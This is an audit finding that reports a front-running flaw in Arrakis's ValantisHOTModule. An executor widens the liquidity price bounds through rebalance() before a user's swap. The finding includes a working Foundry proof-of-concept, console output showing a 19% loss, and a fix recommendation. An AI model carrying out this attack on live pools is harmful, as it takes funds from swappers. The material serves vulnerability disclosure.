Tricky Alabaster Panda

high

# Malicious executor can front-run swapper to make them lose funds (by changing liquidity bounds)

## Summary

The `ArrakisStandardManager`'s `rebalance()` function allows the `executor` role to call arbitrary `payloads_`  on the `ValantisHOTModule`  linked to a specific meta-vault.

A malicious executor can use this to widen the liquidity price bounds before a user swaps in the `SovereignPool` , increasing the price impact of their trade, leading to loss of funds.

## Vulnerability Detail
The malicious executor will observe a swap transaction in the mempool, and will front-run it with the following action:

```solidity
bytes memory data = abi.encodeWithSelector(
    IValantisHOTModule.setPriceBounds.selector,
    MIN_SQRT_PRICE, 
    MAX_SQRT_PRICE, 
    0, 
    0
);
bytes[] memory datas = new bytes[](1);
datas[0] = data;

vm.prank(executor);
IArrakisStandardManager(manager).rebalance(vault, datas);

```

This changes the price bounds of the liquidity provided for the AMM swaps, and widens it maximally. 

This increases the price impact of the userâ€™s swap, making them lose more funds- as demonstrated in the PoC.

## Impact

At zero cost, a malicious executor can cause sizeable fund loss to swappers by front-running transactions and changing liquidity bounds. The percentage loss increases with the size of the swap. 

Note that while users can set the `minAmountOut` to mitigate against this attack, the executor can simply adjust the price range to maximally extract funds from the user before it exceeds the slippage set.

## Code Snippet

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L303-L315

## Proof of Concept
The PoC demonstrates how a swapper can lose 19% of their token value due to price impact after a malicious executor dilutes the liquidity over a large price range. 

The percentage loss depends on various factors like the pool's liquidity, the size of the swap, and the liquidity bounds set by the malicious executor.

To run the PoC, add the test file to `arrakis-modular/test/integration` and run `forge test --mt test_frontrun_changePriceBounds`

<details><summary>Foundry test</summary>
   
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

// Foundry Imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";

// Arrakis Imports
import {IArrakisMetaVaultPublic} from
  "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
  "../../src/interfaces/IArrakisMetaVault.sol";
import {IArrakisStandardManager} from
  "../../src/interfaces/IArrakisStandardManager.sol";
import {IArrakisLPModule} from
  "../../src/interfaces/IArrakisLPModule.sol";

// Valantis Imports
import {IValantisHOTModule} from
  "../../src/interfaces/IValantisHOTModule.sol";
import {SovereignPool} from  "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol";
import {HOT} from "@valantis-hot/contracts/HOT.sol";

// Base Test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";

import {
  SovereignPoolConstructorArgs,
  SovereignPoolSwapParams,
  SovereignPoolSwapContextData
} from
  "../../lib/valantis-hot/lib/valantis-core/test/base/SovereignPoolBase.t.sol";

contract PoC_Frontrun_SetPriceBounds is ValantisIntegrationPublicTest {

  address user;
  address receiver;

  uint160 internal constant MIN_SQRT_PRICE = 4295128739;
  uint160 internal constant MAX_SQRT_PRICE = 1461446703485210103287273052203988822378723970342;

  function test_frontrun_changePriceBounds() public {

      // #region mint.
      user = makeAddr("user");
      receiver = makeAddr("receiver");

      deal(address(token0), user, init0);
      deal(address(token1), user, init1);

      address m = address(IArrakisMetaVault(vault).module());

      // Minting initial vault shares
      vm.startPrank(user);
      token0.approve(m, init0);
      token1.approve(m, init1);

      IArrakisMetaVaultPublic(vault).mint(1e18, receiver);
      vm.stopPrank();

      // #endregion mint.

      // #region do a swap.

      address swapper =
          vm.addr(uint256(keccak256(abi.encode("Swapper"))));
      address swapReceiver =
          vm.addr(uint256(keccak256(abi.encode("Swap Receiver"))));

      uint256 amountIn = 500e6;
      bool isZeroForOne = true;

      deal(address(token0), swapper, amountIn);

      vm.prank(swapper);
      token0.approve(address(pool), amountIn);
      
      SovereignPoolSwapParams memory swapParams =
      SovereignPoolSwapParams({
          isSwapCallback: false,
          isZeroToOne: isZeroForOne,
          amountIn: amountIn,
          amountOutMin: 0,
          recipient: swapReceiver,
          deadline: block.timestamp + 2,
          swapTokenOut: isZeroForOne ? address(token1) : address(token0),
          swapContext: SovereignPoolSwapContextData("", "", "", "")
      });

      uint256 snapshot = vm.snapshot();

      vm.prank(swapper);
      (uint256 amountInUsed, uint256 amountOut) = pool.swap(swapParams);
      console.log("[Swap without malicious executor frontrunning]");
      console.log("amountIn: %e", amountIn);
      console.log("amountInUsed: %e", amountInUsed);
      console.log("amountOut: %e", amountOut);

      vm.revertTo(snapshot);
      
      // Frontrun the swap with the attack (makes us get 4.7619047619047578e16- more price impact)
      _rebalance_changeBounds(MIN_SQRT_PRICE, MAX_SQRT_PRICE);
      vm.prank(swapper);
      (uint256 amountInUsed2, uint256 amountOut2) = pool.swap(swapParams);
      console.log("\n  [Swap with malicious executor frontrunning]");
      console.log("amountIn: %e", amountIn);
      console.log("amountInUsed: %e", amountInUsed2);
      console.log("amountOut: %e", amountOut2);

      console.log("\n  Lost funds for swapper: %e ETH (~%d% lost)", amountOut-amountOut2, 100 * (amountOut-amountOut2) / amountOut);
  }

  function _rebalance_changeBounds(uint256 left, uint256 right) internal {
      bytes memory data = abi.encodeWithSelector(
          IValantisHOTModule.setPriceBounds.selector,
          left, 
          right, 
          0, 
          0
      );
      bytes[] memory datas = new bytes[](1);
      datas[0] = data;

      vm.prank(executor);
      IArrakisStandardManager(manager).rebalance(vault, datas);
  }
}
    
 ```
</details>
<details><summary>Console Output</summary>
    
```bash
Ran 1 test for test/integration/H5.t.sol:PoC_Frontrun_SetPriceBounds
[PASS] test_frontrun_changePriceBounds() (gas: 1360540)
Logs:
  [Swap without malicious executor frontrunning]
  amountIn: 5e8
  amountInUsed: 5e8
  amountOut: 2.49688058834343145e17
  
  [Swap with malicious executor frontrunning]
  amountIn: 5e8
  amountInUsed: 5e8
  amountOut: 1.99999999999999289e17
  
  Lost funds for swapper: 4.9688058834343856e16 ETH (~19% lost)

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.26s
```
</details>

## Tool used

Manual Review

## Recommendation

One solution would not allow the `executor` to access the `setPriceBounds`  function.